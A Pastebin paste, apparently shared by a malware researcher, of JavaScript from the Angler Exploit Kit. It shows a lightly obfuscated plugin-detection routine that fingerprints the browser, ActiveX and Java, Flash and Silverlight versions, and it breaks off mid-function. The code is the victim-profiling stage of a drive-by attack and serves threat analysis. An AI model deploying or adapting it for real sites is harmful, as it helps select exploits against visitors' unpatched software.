Advertisement
Kafeine

Function4 - RPLm4 - AnglerEK - 2014-07-03

Jul 4th, 2014
734
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  var ldklfgo;
  2.  var klfg1 = 'wri',
  3.      klfg2 = 'te';
  4.  ldklfgo = {
  5.      isDefined: function (b) {
  6.          return typeof b != "undefined"
  7.      },
  8.      isArray: function (b) {
  9.          return (/array/i).test(Object.prototype.toString.call(b))
  10.      },
  11.      isFunc: function (b) {
  12.          return typeof b == "function"
  13.      },
  14.      isString: function (b) {
  15.          return typeof b == "string"
  16.      },
  17.      isNum: function (b) {
  18.          return typeof b == "number"
  19.      },
  20.      isStrNum: function (b) {
  21.          return (typeof b == "string" && (/\d/).test(b))
  22.      },
  23.      getNumRegx: /[\d][\d\.\_,\-]*/,
  24.      splitNumRegx: /[\.\_,\-]/g,
  25.      getNum: function (b, c) {
  26.          var d = this,
  27.              a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).exec(b) : null;
  28.          return a ? a[0] : null
  29.      },
  30.      compareNums: function (h, f, d) {
  31.          var e = this,
  32.              c, b, a, g = parseInt;
  33.          if (e.isStrNum(h) && e.isStrNum(f)) {
  34.              if (e.isDefined(d) && d.compareNums) {
  35.                  return d.compareNums(h, f)
  36.              }
  37.              c = h.split(e.splitNumRegx);
  38.              b = f.split(e.splitNumRegx);
  39.              for (a = 0; a < Math.min(c.length, b.length); a++) {
  40.                  if (g(c[a], 10) > g(b[a], 10)) {
  41.                      return 1
  42.                  }
  43.                  if (g(c[a], 10) < g(b[a], 10)) {
  44.                      return -1
  45.                  }
  46.              }
  47.          }
  48.          return 0
  49.      },
  50.      formatNum: function (b, c) {
  51.          var d = this,
  52.              a, e;
  53.          if (!d.isStrNum(b)) {
  54.              return null
  55.          }
  56.          if (!d.isNum(c)) {
  57.              c = 4
  58.          }
  59.          c--;
  60.          e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
  61.          for (a = 0; a < 4; a++) {
  62.              if (/^(0+)(.+)$/.test(e[a])) {
  63.                  e[a] = RegExp.$2
  64.              }
  65.              if (a > c || !(/\d/).test(e[a])) {
  66.                  e[a] = "0"
  67.              }
  68.          }
  69.          return e.slice(0, 4).join(",")
  70.      },
  71.      getPROP: function (d, b, a) {
  72.          var c;
  73.          try {
  74.              if (d) {
  75.                  a = d[b]
  76.              }
  77.          } catch (c) {}
  78.          return a
  79.      },
  80.      findNavPlugin: function (l, e, c) {
  81.          var j = this,
  82.              h = new RegExp(l, "i"),
  83.              d = (!j.isDefined(e) || e) ? /\d/ : 0,
  84.              k = c ? new RegExp(c, "i") : 0,
  85.              a = navigator.plugins,
  86.              g = "",
  87.              f, b, m;
  88.          for (f = 0; f < a.length; f++) {
  89.              m = a[f].description || g;
  90.              b = a[f].name || g;
  91.              if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))) {
  92.                  if (!k || !(k.test(m) || k.test(b))) {
  93.                      return a[f]
  94.                  }
  95.              }
  96.          }
  97.          return null
  98.      },
  99.      getMimeEnabledPlugin: function (k, m, c) {
  100.          var e = this,
  101.              f, b = new RegExp(m, "i"),
  102.              h = "",
  103.              g = c ? new RegExp(c, "i") : 0,
  104.              a, l, d, j = e.isString(k) ? [k] : k;
  105.          for (d = 0; d < j.length; d++) {
  106.              if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)) {
  107.                  l = f.description || h;
  108.                  a = f.name || h;
  109.                  if (b.test(l) || b.test(a)) {
  110.                      if (!g || !(g.test(l) || g.test(a))) {
  111.                          return f
  112.                      }
  113.                  }
  114.              }
  115.          }
  116.          return 0
  117.      },
  118.      getVersionDelimiter: ",",
  119.      findPlugin: function (d) {
  120.          var c = this,
  121.              b, d, a = {
  122.                  status: -3,
  123.                  plugin: 0
  124.              };
  125.          if (c.DOM) {
  126.              c.DOM.initDiv()
  127.          }
  128.          if (!c.isString(d)) {
  129.              return a
  130.          }
  131.          if (d.length == 1) {
  132.              c.getVersionDelimiter = d;
  133.              return a
  134.          }
  135.          d = d.toLowerCase().replace(/\s/g, "");
  136.          b = c.Plugins[d];
  137.          if (!b || !b.getVersion) {
  138.              return a
  139.          }
  140.          a.plugin = b;
  141.          a.status = 1;
  142.          return a
  143.      },
  144.      AXO: window.ActiveXObject,
  145.      getAXO: function (a) {
  146.          var d = null,
  147.              c, b = this;
  148.          try {
  149.              d = new b.AXO(a)
  150.          } catch (c) {};
  151.          return d
  152.      },
  153.      browser: {},
  154.      INIT: function () {
  155.          this.init.library(this)
  156.      },
  157.      init: {
  158.          $: 1,
  159.          hasRun: 0,
  160.          objProperties: function (d, e, b) {
  161.              var a, c = {};
  162.              if (e && b) {
  163.                  if (e[b[0]] === 1 && !d.isArray(e) && !d.isFunc(e) && !d.isString(e) && !d.isNum(e)) {
  164.                      for (a = 0; a < b.length; a = a + 2) {
  165.                          e[b[a]] = b[a + 1];
  166.                          c[b[a]] = 1
  167.                      }
  168.                  }
  169.                  for (a in e) {
  170.                      if (!c[a] && e[a] && e[a][b[0]] === 1) {
  171.                          this.objProperties(d, e[a], b)
  172.                      }
  173.                  }
  174.              }
  175.          },
  176.          publicMethods: function (c, f) {
  177.              var g = this,
  178.                  b = g.$,
  179.                  a, d;
  180.              if (c && f) {
  181.                  for (a in c) {
  182.                      try {
  183.                          if (b.isFunc(c[a])) {
  184.                              f[a] = c[a](f)
  185.                          }
  186.                      } catch (d) {}
  187.                  }
  188.              }
  189.          },
  190.          plugin: function (a, c) {
  191.              var d = this,
  192.                  b = d.$;
  193.              if (a) {
  194.                  d.objProperties(b, a, ["$", b, "$$", a]);
  195.                  if (!b.isDefined(a.getVersionDone)) {
  196.                      a.installed = null;
  197.                      a.version = null;
  198.                      a.version0 = null;
  199.                      a.getVersionDone = null;
  200.                      a.pluginName = c
  201.                  }
  202.              }
  203.          },
  204.          detectIE: function () {
  205.              var init = this,
  206.                  $ = init.$,
  207.                  browser = $.browser,
  208.                  doc = document,
  209.                  e, x, tmp, userAgent = navigator.userAgent || "",
  210.                  progid, progid1, progid2;
  211.              tmp = doc.documentMode;
  212.              try {
  213.                  doc.documentMode = ""
  214.              } catch (e) {}
  215.              var testIe = "/*@cc_on!@*/!1";
  216.              browser.isIE = $.isNum(doc.documentMode) ? !0 : eval(testIe);
  217.              try {
  218.                  doc.documentMode = tmp
  219.              } catch (e) {};
  220.              browser.verIE = null;
  221.              if (browser.isIE) {
  222.                  browser.verIE = ($.isNum(doc.documentMode) && doc.documentMode >= 7 ? doc.documentMode : 0) || ((/^(?:.*?[^a-zA-Z])??(?:MSIE|rv\s*\:)\s*(\d+\.?\d*)/i).test(userAgent) ? parseFloat(RegExp.$1, 10) : 7)
  223.              };
  224.              browser.ActiveXEnabled = !1;
  225.              browser.ActiveXFilteringEnabled = !1;
  226.              if (browser.isIE) {
  227.                  try {
  228.                      browser.ActiveXFilteringEnabled = window.external.msActiveXFilteringEnabled()
  229.                  } catch (e) {}
  230.                  progid1 = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM", "TDCCtl.TDCCtl", "Shell.UIHelper", "HtmlDlgSafeHelper.HtmlDlgSafeHelper", "Scripting.Dictionary"];
  231.                  progid2 = ["WMPlayer.OCX", "ShockwaveFlash.ShockwaveFlash", "AgControl.AgControl", ];
  232.                  progid = progid1.concat(progid2);
  233.                  for (x = 0; x < progid.length; x++) {
  234.                      if ($.getAXO(progid[x])) {
  235.                          browser.ActiveXEnabled = !0;
  236.                          if (!$.dbug) {
  237.                              break
  238.                          }
  239.                      }
  240.                  }
  241.                  if (browser.ActiveXEnabled && browser.ActiveXFilteringEnabled) {
  242.                      for (x = 0; x < progid2.length; x++) {
  243.                          if ($.getAXO(progid2[x])) {
  244.                              browser.ActiveXFilteringEnabled = !1;
  245.                              break
  246.                          }
  247.                      }
  248.                  }
  249.              }
  250.          },
  251.          detectNonIE: function () {
  252.              var f = this,
  253.                  d = this.$,
  254.                  a = d.browser,
  255.                  e = navigator,
  256.                  c = a.isIE ? "" : e.userAgent || "",
  257.                  g = e.vendor || "",
  258.                  b = e.product || "";
  259.              a.isGecko = (/Gecko/i).test(b) && (/Gecko\s*\/\s*\d/i).test(c);
  260.              a.verGecko = a.isGecko ? d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(c) ? RegExp.$1 : "0.9") : null;
  261.              a.isChrome = (/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(c);
  262.              a.verChrome = a.isChrome ? d.formatNum(RegExp.$2) : null;
  263.              a.isSafari = !a.isChrome && ((/Apple/i).test(g) || !g) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(c);
  264.              a.verSafari = a.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(c) ? d.formatNum(RegExp.$1) : null;
  265.              a.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(c);
  266.              a.verOpera = a.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(c) || 1) ? parseFloat(RegExp.$1, 10) : null
  267.          },
  268.          library: function (c) {
  269.              var e = this,
  270.                  d = document,
  271.                  b, a;
  272.              c.init.objProperties(c, c, ["$", c]);
  273.              for (a in c.Plugins) {
  274.                  c.init.plugin(c.Plugins[a], a)
  275.              }
  276.              e.publicMethods(c.PUBLIC, c);
  277.              c.win.init();
  278.              e.detectIE();
  279.              e.detectNonIE();
  280.              c.init.hasRun = 1
  281.          }
  282.      },
  283.      ev: {
  284.          $: 1,
  285.          handler: function (d, c, b, a) {
  286.              return function () {
  287.                  d(c, b, a)
  288.              }
  289.          },
  290.          fPush: function (b, a) {
  291.              var c = this,
  292.                  d = c.$;
  293.              if (d.isArray(a) && (d.isFunc(b) || (d.isArray(b) && b.length > 0 && d.isFunc(b[0])))) {
  294.                  a.push(b)
  295.              }
  296.          },
  297.          callArray: function (a) {
  298.              var b = this,
  299.                  d = b.$,
  300.                  c;
  301.              if (d.isArray(a)) {
  302.                  while (a.length) {
  303.                      c = a[0];
  304.                      a.splice(0, 1);
  305.                      b.call(c)
  306.                  }
  307.              }
  308.          },
  309.          call: function (d) {
  310.              var b = this,
  311.                  c = b.$,
  312.                  a = c.isArray(d) ? d.length : -1;
  313.              if (a > 0 && c.isFunc(d[0])) {
  314.                  d[0](c, a > 1 ? d[1] : 0, a > 2 ? d[2] : 0, a > 3 ? d[3] : 0)
  315.              } else {
  316.                  if (c.isFunc(d)) {
  317.                      d(c)
  318.                  }
  319.              }
  320.          }
  321.      },
  322.      PUBLIC: {
  323.          getVersion: function (b) {
  324.              var a = function (h, e, d) {
  325.                  var f = b.findPlugin(h),
  326.                      g, c;
  327.                  if (f.status < 0) {
  328.                      return null
  329.                  };
  330.                  g = f.plugin;
  331.                  if (g.getVersionDone != 1) {
  332.                      g.getVersion(null, e, d);
  333.                      if (g.getVersionDone === null) {
  334.                          g.getVersionDone = 1
  335.                      }
  336.                  }
  337.                  c = (g.version || g.version0);
  338.                  c = c ? c.replace(b.splitNumRegx, b.getVersionDelimiter) : c;
  339.                  return c
  340.              };
  341.              return a
  342.          },
  343.          onDetectionDone: function (b) {
  344.              var a = function (j, h, d, c) {
  345.                  var e = b.findPlugin(j),
  346.                      k, g;
  347.                  if (e.status == -3) {
  348.                      return -1
  349.                  }
  350.                  g = e.plugin;
  351.                  if (!b.isArray(g.funcs)) {
  352.                      g.funcs = []
  353.                  };
  354.                  if (g.getVersionDone != 1) {
  355.                      k = b.getVersion ? b.getVersion(j, d, c) : b.isMinVersion(j, "0", d, c)
  356.                  }
  357.                  if (g.installed != -0.5 && g.installed != 0.5) {
  358.                      b.ev.call(h);
  359.                      return 1
  360.                  }
  361.                  b.ev.fPush(h, g.funcs);
  362.                  return 0
  363.              };
  364.              return a
  365.          },
  366.          hasMimeType: function (b) {
  367.              var a = function (d) {
  368.                  if (!b.browser.isIE && d && navigator && navigator.mimeTypes) {
  369.                      var g, f, c, e = b.isArray(d) ? d : (b.isString(d) ? [d] : []);
  370.                      for (c = 0; c < e.length; c++) {
  371.                          if (b.isString(e[c]) && /[^\s]/.test(e[c])) {
  372.                              g = navigator.mimeTypes[e[c]];
  373.                              f = g ? g.enabledPlugin : 0;
  374.                              if (f && (f.name || f.description)) {
  375.                                  return g
  376.                              }
  377.                          }
  378.                      }
  379.                  }
  380.                  return null
  381.              };
  382.              return a
  383.          },
  384.          z: 0
  385.      },
  386.      codebase: {
  387.          $: 1,
  388.          isDisabled: function () {
  389.              var b = this,
  390.                  c = b.$,
  391.                  a = c.browser;
  392.              return a.ActiveXEnabled && a.isIE && a.verIE >= 7 ? 0 : 1
  393.          },
  394.          init: function (e) {
  395.              if (!e.init) {
  396.                  var c = this,
  397.                      d = c.$,
  398.                      a, b;
  399.                  e.init = 1;
  400.                  e.min = 0;
  401.                  e.max = 0;
  402.                  e.hasRun = 0;
  403.                  e.version = null;
  404.                  e.L = 0;
  405.                  e.altHTML = "";
  406.                  e.span = document.createElement("span");
  407.                  e.tagA = '<object width="1" height="1" style="display:none;" codebase="#version=';
  408.                  b = e.classID || e.$$.classID || "";
  409.                  e.tagB = '" ' + ((/clsid\s*:/i).test(b) ? 'classid="' : 'type="') + b + '">' + e.altHTML + "</object>";
  410.                  for (a = 0; a < e.Lower.length; a++) {
  411.                      e.Lower[a] = d.formatNum(e.Lower[a]);
  412.                      e.Upper[a] = d.formatNum(e.Upper[a])
  413.                  }
  414.              }
  415.          },
  416.          isActiveXObject: function (i, b) {
  417.              var f = this,
  418.                  g = f.$,
  419.                  a = 0,
  420.                  h, d = i.$$,
  421.                  c = i.span;
  422.              if (i.min && g.compareNums(b, i.min) <= 0) {
  423.                  return 1
  424.              }
  425.              if (i.max && g.compareNums(b, i.max) >= 0) {
  426.                  return 0
  427.              }
  428.              c.innerHTML = i.tagA + b + i.tagB;
  429.              if (g.getPROP(c.firstChild, "object")) {
  430.                  a = 1
  431.              };
  432.              c.innerHTML = "";
  433.              if (a) {
  434.                  i.min = b
  435.              } else {
  436.                  i.max = b
  437.              }
  438.              return a
  439.          },
  440.          convert_: function (f, a, b, e) {
  441.              var d = f.convert[a],
  442.                  c = f.$;
  443.              return d ? (c.isFunc(d) ? c.formatNum(d(b.split(c.splitNumRegx), e).join(",")) : b) : d
  444.          },
  445.          convert: function (h, c, g) {
  446.              var e = this,
  447.                  f = h.$,
  448.                  b, a, d;
  449.              c = f.formatNum(c);
  450.              a = {
  451.                  v: c,
  452.                  x: -1
  453.              };
  454.              if (c) {
  455.                  for (b = 0; b < h.Lower.length; b++) {
  456.                      d = e.convert_(h, b, h.Lower[b]);
  457.                      if (d && f.compareNums(c, g ? d : h.Lower[b]) >= 0 && (!b || f.compareNums(c, g ? e.convert_(h, b, h.Upper[b]) : h.Upper[b]) < 0)) {
  458.                          a.v = e.convert_(h, b, c, g);
  459.                          a.x = b;
  460.                          break
  461.                      }
  462.                  }
  463.              }
  464.              return a
  465.          },
  466.          isMin: function (g, f) {
  467.              var d = this,
  468.                  e = g.$,
  469.                  c, b, a = 0;
  470.              d.init(g);
  471.              return a
  472.          },
  473.          search: function (g) {
  474.              var k = this,
  475.                  h = k.$,
  476.                  i = g.$$,
  477.                  b = 0,
  478.                  c;
  479.              k.init(g);
  480.              c = (g.hasRun || k.isDisabled()) ? 1 : 0;
  481.              g.hasRun = 1;
  482.              if (c) {
  483.                  return g.version
  484.              };
  485.              var o, n, m, j = function (q, t) {
  486.                      var r = [].concat(f),
  487.                          s;
  488.                      r[q] = t;
  489.                      s = k.isActiveXObject(g, r.join(","));
  490.                      if (s) {
  491.                          b = 1;
  492.                          f[q] = t
  493.                      } else {
  494.                          p[q] = t
  495.                      }
  496.                      return s
  497.                  },
  498.                  d = g.DIGITMAX,
  499.                  e, a, l = 99999999,
  500.                  f = [0, 0, 0, 0],
  501.                  p = [0, 0, 0, 0];
  502.              for (o = 0; o < p.length; o++) {
  503.                  f[o] = Math.floor(g.DIGITMIN[o]) || 0;
  504.                  e = f.join(",");
  505.                  a = f.slice(0, o).concat([l, l, l, l]).slice(0, f.length).join(",");
  506.                  for (m = 0; m < d.length; m++) {
  507.                      if (h.isArray(d[m])) {
  508.                          d[m].push(0);
  509.                          if (d[m][o] > p[o] && h.compareNums(a, g.Lower[m]) >= 0 && h.compareNums(e, g.Upper[m]) < 0) {
  510.                              p[o] = Math.floor(d[m][o])
  511.                          }
  512.                      }
  513.                  }
  514.                  for (n = 0; n < 30; n++) {
  515.                      if (p[o] - f[o] <= 16) {
  516.                          for (m = p[o]; m >= f[o] + (o ? 1 : 0); m--) {
  517.                              if (j(o, m)) {
  518.                                  break
  519.                              }
  520.                          }
  521.                          break
  522.                      }
  523.                      j(o, Math.round((p[o] + f[o]) / 2))
  524.                  }
  525.                  if (!b) {
  526.                      break
  527.                  }
  528.                  p[o] = f[o]
  529.              }
  530.              if (b) {
  531.                  g.version = k.convert(g, f.join(",")).v
  532.              };
  533.              return g.version
  534.          }
  535.      },
  536.      win: {
  537.          $: 1,
  538.          loaded: false,
  539.          hasRun: 0,
  540.          init: function () {
  541.              var b = this,
  542.                  a = b.$
  543.          },
  544.          concatFn: function (d, c) {
  545.              return function () {
  546.                  d();
  547.                  if (typeof c == "function") {
  548.                      c()
  549.                  }
  550.              }
  551.          },
  552.          funcs0: [],
  553.          funcs: [],
  554.          count: 0,
  555.          countMax: 1,
  556.          intervalLength: 50
  557.      },
  558.      DOM: {
  559.          $: 1,
  560.          isEnabled: {
  561.              $: 1,
  562.              objectTag: function () {
  563.                  var a = this.$;
  564.                  return a.browser.isIE ? a.browser.ActiveXEnabled : 1
  565.              },
  566.              objectProperty: function () {
  567.                  var a = this.$;
  568.                  return a.browser.isIE && a.browser.verIE >= 7 ? 1 : 0
  569.              }
  570.          },
  571.          div: null,
  572.          divID: "plugindetect",
  573.          divClass: "doNotRemove",
  574.          divWidth: 50,
  575.          getDiv: function () {
  576.              var a = this;
  577.              return a.div || document.getElementById(a.divID) || null
  578.          },
  579.          isDivPermanent: function () {
  580.              var b = this,
  581.                  c = b.$,
  582.                  a = b.getDiv();
  583.              return a && c.isString(a.className) && a.className.toLowerCase().indexOf(b.divClass.toLowerCase()) > -1 ? 1 : 0
  584.          },
  585.          initDiv: function (b) {
  586.              var c = this,
  587.                  d = c.$,
  588.                  a;
  589.              if (!c.div) {
  590.                  a = c.getDiv();
  591.                  if (a) {
  592.                      c.div = a
  593.                  } else {
  594.                      if (b) {
  595.                          c.div = document.createElement("div");
  596.                          c.div.id = c.divID
  597.                      }
  598.                  } if (c.div) {
  599.                      c.setStyle(c.div, c.defaultStyle.concat(["display", "block", "width", c.divWidth + "px", "height", (c.pluginSize + 3) + "px", "fontSize", (c.pluginSize + 3) + "px", "lineHeight", (c.pluginSize + 3) + "px"]));
  600.                      if (!a) {
  601.                          c.setStyle(c.div, ["position", "absolute", "right", "0px", "top", "0px"]);
  602.                          c.insertDivInBody(c.div)
  603.                      }
  604.                  }
  605.              }
  606.          },
  607.          pluginSize: 1,
  608.          altHTML: "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;",
  609.          emptyNode: function (c) {
  610.              var b = this,
  611.                  d = b.$,
  612.                  a, f;
  613.              if (c) {
  614.                  if (d.browser.isIE) {
  615.                      b.setStyle(c, ["display", "none"])
  616.                  }
  617.                  try {
  618.                      c.innerHTML = ""
  619.                  } catch (f) {}
  620.              }
  621.          },
  622.          LASTfuncs: [],
  623.          onDoneEmptyDiv: function () {
  624.              var f = this,
  625.                  g = f.$,
  626.                  b, d, c, a, h;
  627.              f.initDiv();
  628.              if (!g.win.loaded || g.win.funcs0.length || g.win.funcs.length) {
  629.                  return
  630.              }
  631.              for (b in g.Plugins) {
  632.                  d = g.Plugins[b];
  633.                  if (d) {
  634.                      if (d.OTF == 3 || (d.funcs && d.funcs.length)) {
  635.                          return
  636.                      }
  637.                  }
  638.              }
  639.              g.ev.callArray(f.LASTfuncs);
  640.              a = f.getDiv();
  641.              if (a) {
  642.                  if (f.isDivPermanent()) {} else {
  643.                      if (a.childNodes) {
  644.                          for (b = a.childNodes.length - 1; b >= 0; b--) {
  645.                              c = a.childNodes[b];
  646.                              f.emptyNode(c)
  647.                          }
  648.                          try {
  649.                              a.innerHTML = ""
  650.                          } catch (h) {}
  651.                      }
  652.                      if (a.parentNode) {
  653.                          try {
  654.                              a.parentNode.removeChild(a)
  655.                          } catch (h) {}
  656.                          a = null;
  657.                          f.div = null
  658.                      }
  659.                  }
  660.              }
  661.          },
  662.          width: function () {
  663.              var g = this,
  664.                  e = g.DOM,
  665.                  f = e.$,
  666.                  d = g.span,
  667.                  b, c, a = -1;
  668.              b = d && f.isNum(d.scrollWidth) ? d.scrollWidth : a;
  669.              c = d && f.isNum(d.offsetWidth) ? d.offsetWidth : a;
  670.              return c > 0 ? c : (b > 0 ? b : Math.max(c, b))
  671.          },
  672.          obj: function (b) {
  673.              var d = this,
  674.                  c = d.span,
  675.                  a = c && c.firstChild ? c.firstChild : null;
  676.              return a
  677.          },
  678.          readyState: function () {
  679.              var b = this,
  680.                  a = b.DOM.$;
  681.              return a.browser.isIE ? a.getPROP(b.obj(), "readyState") : b.undefined
  682.          },
  683.          objectProperty: function () {
  684.              var d = this,
  685.                  b = d.DOM,
  686.                  c = b.$,
  687.                  a;
  688.              if (b.isEnabled.objectProperty()) {
  689.                  a = c.getPROP(d.obj(), "object")
  690.              }
  691.              return a
  692.          },
  693.          getTagStatus: function (b, m, r, p, f, h) {
  694.              var s = this,
  695.                  d = s.$,
  696.                  q;
  697.              if (!b || !b.span) {
  698.                  return -2
  699.              }
  700.              var k = b.width(),
  701.                  c = b.readyState(),
  702.                  a = b.objectProperty();
  703.              if (a) {
  704.                  return 1.5
  705.              }
  706.              var g = /clsid\s*\:/i,
  707.                  o = r && g.test(r.outerHTML || "") ? r : (p && g.test(p.outerHTML || "") ? p : 0),
  708.                  i = r && !g.test(r.outerHTML || "") ? r : (p && !g.test(p.outerHTML || "") ? p : 0),
  709.                  l = b && g.test(b.outerHTML || "") ? o : i;
  710.              if (!m || !m.span || !l || !l.span) {
  711.                  return 0
  712.              }
  713.              var j = l.width(),
  714.                  n = m.width(),
  715.                  t = l.readyState();
  716.              if (k < 0 || j < 0 || n <= s.pluginSize) {
  717.                  return 0
  718.              }
  719.              if (h && !b.pi && d.isDefined(a) && d.browser.isIE && b.tagName == l.tagName && b.time <= l.time && k === j && c === 0 && t !== 0) {
  720.                  b.pi = 1
  721.              }
  722.              if (j < n) {
  723.                  return b.pi ? -0.1 : 0
  724.              }
  725.              if (k >= n) {
  726.                  if (!b.winLoaded && d.win.loaded) {
  727.                      return b.pi ? -0.5 : -1
  728.                  }
  729.                  if (d.isNum(f)) {
  730.                      if (!d.isNum(b.count2)) {
  731.                          b.count2 = f
  732.                      }
  733.                      if (f - b.count2 > 0) {
  734.                          return b.pi ? -0.5 : -1
  735.                      }
  736.                  }
  737.              }
  738.              try {
  739.                  if (k == s.pluginSize && (!d.browser.isIE || c === 4)) {
  740.                      if (!b.winLoaded && d.win.loaded) {
  741.                          return 1
  742.                      }
  743.                      if (b.winLoaded && d.isNum(f)) {
  744.                          if (!d.isNum(b.count)) {
  745.                              b.count = f
  746.                          }
  747.                          if (f - b.count >= 5) {
  748.                              return 1
  749.                          }
  750.                      }
  751.                  }
  752.              } catch (q) {}
  753.              return b.pi ? -0.1 : 0
  754.          },
  755.          setStyle: function (b, h) {
  756.              var c = this,
  757.                  d = c.$,
  758.                  g = b.style,
  759.                  a, f;
  760.              if (g && h) {
  761.                  for (a = 0; a < h.length; a = a + 2) {
  762.                      try {
  763.                          g[h[a]] = h[a + 1]
  764.                      } catch (f) {}
  765.                  }
  766.              }
  767.          },
  768.          insertDivInBody: function (a, h) {
  769.              var j = this,
  770.                  d = j.$,
  771.                  g, b = "pd33993399",
  772.                  c = null,
  773.                  i = h ? window.top.document : window.document,
  774.                  f = i.getElementsByTagName("body")[0] || i.body;
  775.              if (!f) {
  776.                  try {
  777.                      i[klfg1 + klfg2]('<div id="' + b + '">./div>');
  778.                      c = i.getElementById(b)
  779.                  } catch (g) {}
  780.              }
  781.              f = i.getElementsByTagName("body")[0] || i.body;
  782.              if (f) {
  783.                  f.insertBefore(a, f.firstChild);
  784.                  if (c) {
  785.                      f.removeChild(c)
  786.                  }
  787.              }
  788.          },
  789.          defaultStyle: ["verticalAlign", "baseline", "outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin", "0px", "visibility", "visible"],
  790.          insert: function (b, i, g, h, c, q, o) {
  791.              var s = this,
  792.                  f = s.$,
  793.                  r, t = document,
  794.                  v, m, p = t.createElement("span"),
  795.                  k, a, l = "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:" + (q ? "hidden;" : "visible;") + "display:inline;";
  796.              if (!f.isDefined(h)) {
  797.                  h = ""
  798.              }
  799.              if (f.isString(b) && (/[^\s]/).test(b)) {
  800.                  b = b.toLowerCase().replace(/\s/g, "");
  801.                  v = "<" + b + " ";
  802.                  v += 'style="' + l + '" ';
  803.                  var j = 1,
  804.                      u = 1;
  805.                  for (k = 0; k < i.length; k = k + 2) {
  806.                      if (/[^\s]/.test(i[k + 1])) {
  807.                          v += i[k] + '="' + i[k + 1] + '" '
  808.                      }
  809.                      if ((/width/i).test(i[k])) {
  810.                          j = 0
  811.                      }
  812.                      if ((/height/i).test(i[k])) {
  813.                          u = 0
  814.                      }
  815.                  }
  816.                  v += (j ? 'width="' + s.pluginSize + '" ' : "") + (u ? 'height="' + s.pluginSize + '" ' : "");
  817.                  v += ">";
  818.                  for (k = 0; k < g.length; k = k + 2) {
  819.                      if (/[^\s]/.test(g[k + 1])) {
  820.                          v += '<param name="' + g[k] + '" value="' + g[k + 1] + '" />'
  821.                      }
  822.                  }
  823.                  v += h + "</" + b + ">"
  824.              } else {
  825.                  b = "";
  826.                  v = h
  827.              } if (!o) {
  828.                  s.initDiv(1)
  829.              }
  830.              var n = o || s.getDiv();
  831.              m = {
  832.                  span: null,
  833.                  winLoaded: f.win.loaded,
  834.                  tagName: b,
  835.                  outerHTML: v,
  836.                  DOM: s,
  837.                  time: new Date().getTime(),
  838.                  width: s.width,
  839.                  obj: s.obj,
  840.                  readyState: s.readyState,
  841.                  objectProperty: s.objectProperty
  842.              };
  843.              if (n && n.parentNode) {
  844.                  s.setStyle(p, s.defaultStyle.concat(["display", "inline"]).concat(o ? [] : ["fontSize", (s.pluginSize + 3) + "px", "lineHeight", (s.pluginSize + 3) + "px"]));
  845.                  n.appendChild(p);
  846.                  try {
  847.                      p.innerHTML = v
  848.                  } catch (r) {};
  849.                  m.span = p;
  850.                  m.winLoaded = f.win.loaded
  851.              }
  852.              return m
  853.          }
  854.      },
  855.      file: {
  856.          $: 1,
  857.          any: "fileStorageAny999",
  858.          valid: "fileStorageValid999",
  859.          save: function (d, f, c) {
  860.              var b = this,
  861.                  e = b.$,
  862.                  a;
  863.              if (d && e.isDefined(c)) {
  864.                  if (!d[b.any]) {
  865.                      d[b.any] = []
  866.                  }
  867.                  if (!d[b.valid]) {
  868.                      d[b.valid] = []
  869.                  }
  870.                  d[b.any].push(c);
  871.                  a = b.split(f, c);
  872.                  if (a) {
  873.                      d[b.valid].push(a)
  874.                  }
  875.              }
  876.          },
  877.          getValidLength: function (a) {
  878.              return a && a[this.valid] ? a[this.valid].length : 0
  879.          },
  880.          getAnyLength: function (a) {
  881.              return a && a[this.any] ? a[this.any].length : 0
  882.          },
  883.          getValid: function (c, a) {
  884.              var b = this;
  885.              return c && c[b.valid] ? b.get(c[b.valid], a) : null
  886.          },
  887.          getAny: function (c, a) {
  888.              var b = this;
  889.              return c && c[b.any] ? b.get(c[b.any], a) : null
  890.          },
  891.          get: function (d, a) {
  892.              var c = d.length - 1,
  893.                  b = this.$.isNum(a) ? a : c;
  894.              return (b < 0 || b > c) ? null : d[b]
  895.          },
  896.          split: function (g, c) {
  897.              var b = this,
  898.                  e = b.$,
  899.                  f = null,
  900.                  a, d;
  901.              g = g ? g.replace(".", "\\.") : "";
  902.              d = new RegExp("^(.*[^\\/])(" + g + "\\s*)$");
  903.              if (e.isString(c) && d.test(c)) {
  904.                  a = (RegExp.$1).split("/");
  905.                  f = {
  906.                      name: a[a.length - 1],
  907.                      ext: RegExp.$2,
  908.                      full: c
  909.                  };
  910.                  a[a.length - 1] = "";
  911.                  f.path = a.join("/")
  912.              }
  913.              return f
  914.          },
  915.          z: 0
  916.      },
  917.      Plugins: {
  918.          java: {
  919.              $: 1,
  920.              mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
  921.              mimeType_dummy: "application/dummymimejavaapplet",
  922.              classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
  923.              classID_dummy: "clsid:8AD9C840-044E-11D1-B3E9-BA9876543210",
  924.              navigator: {
  925.                  $: 1,
  926.                  a: (function () {
  927.                      var b, a = !0;
  928.                      try {
  929.                          a = window.navigator.javaEnabled()
  930.                      } catch (b) {}
  931.                      return a
  932.                  })(),
  933.                  javaEnabled: function () {
  934.                      var t = this;
  935.                      return t.a
  936.                  },
  937.                  mimeObj: 0,
  938.                  pluginObj: 0
  939.              },
  940.              OTF: null,
  941.              getVerifyTagsDefault: function () {
  942.                  return [1, this.applet.isDisabled.VerifyTagsDefault_1() ? 0 : 1, 1]
  943.              },
  944.              getVersion: function (j, g, i) {
  945.                  var b = this,
  946.                      d = b.$,
  947.                      e, a = b.applet,
  948.                      h = b.verify,
  949.                      k = b.navigator,
  950.                      f = null,
  951.                      l = null,
  952.                      c = null;
